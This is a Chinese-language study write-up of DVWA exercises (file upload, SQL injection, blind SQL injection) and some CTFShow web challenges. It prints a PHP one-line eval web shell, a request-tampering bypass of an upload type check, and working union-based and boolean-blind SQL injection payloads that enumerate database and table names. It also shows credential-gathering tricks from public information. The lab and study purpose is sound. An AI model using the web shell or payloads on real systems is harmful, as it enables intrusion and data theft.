File Upload(文件上传)
先来学习一下一句话木马的原理!!!
原理:我一句话木马用我们可以通过GET 、POST 、COOKIE
这三种方式向一个网站提交数据,一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE[' ']
接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。
例如:
<?php @eval($_POST['a']);?>
其中 eval 就是执行命令的函数,$_POST['a'] 就是接收的数据。 eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。
Medium
上传一句话木马 发现要求文件类型只能为jepg和png
做法:
1.上传一句话木马并抓包
此时我们可以修改文件类型为“image/png”,然后放包
显示成功上传
用蚁剑进行链接,显示连接成功
方法:通过修改 http 报文可以通过网页的白名单检测
SQL Injection(SQL注入)
概念:
SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
简而言之,SQL 注入就是在用户输入的字符串中加入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。
手工注入常规思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定回显位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.得到数据
字符型注入与数字型注入的区别
字符型注入:字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来。
数字型注入:
两种SQL语句的区别:
数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=‘值’
数字型注入原型查询语句:
select * from xxx where id=.$_GET[id]
字符型注入原型查询语句
select * from xxx where id=."'$_GET[id]'"
Low
代码审计
对参数没有进行任何的过滤,分析语句,可能存在字符型注入
步骤:
1.判断注入类型
可以判断为字符型注入 一定要加单引号
2.猜测查询语句中的字段数
1' order by 2#
1' order by 3#
可以确定,SQL语句查询的表的字段数是2
3.确定SQL语句查询之后的回显位置
1' union select 1,2#
有两个回显
4.查询当前的数据库以及版本
1' union select version(),database()#
5.查询字段中的数据
Medium
代码审计
可以发现加入了一些防御,不让用户输入,只提供选择
可以用burpsuit抓包来绕过
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
通过分析源码也可以看出可能存在数字型注入
可以用hackbar尝试一下
也可以用burpsuit抓包,修改数据包,绕过防御
发送到Repeater板块,判断注入类型
查询字段数
剩下的语句和low级别一样
SQL Ingection(Blind)
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,
步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
Low
布尔盲注
输入1' and 1=1 #,显示存在
所以存在字符型注入
猜解数据库名
输入1’ and length(database())=4 #
说明长度为4
然后采用二分法猜解数据库的名字,可以用if函数,这里用的ASCII值,道理都是一样的:
1’ and ascii(substr(databse(),1,1))=100 #
第一个字母的ascll码是100,也是d,以此类推得出数据库名为dvwa
猜解表名
输入1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #
说明有 两个表
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在,说明第一个表的长度是9.
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #显示存在,说明第一个字母是g。
再重复步骤猜解,即可猜解出两个表名(guestbook、users)。
然后再继续猜解字段名和字段中的数据
CTFShow
Web12
有时候网站上的公开信息,就是管理员常用密码
步骤:
先利用robots协议查询到用户名为admin
得到账号密码
WEB 13
题目:技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
在文档中发现后他地址和账号密码
登陆成功得到flag
WEB 15
公开的信息比如邮箱,可能造成信息泄露,产生严重后果
在首页下面发现了邮箱
查询QQ
访问url/admiin访问后台系统
点击忘记密码
刚才搜索得到地址是在陕西西安
得到密码
重新访问 输入账号密码 得到flag‘
WEB 16
题目:对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
访问url/t.php
在页面中搜索flag 得到flag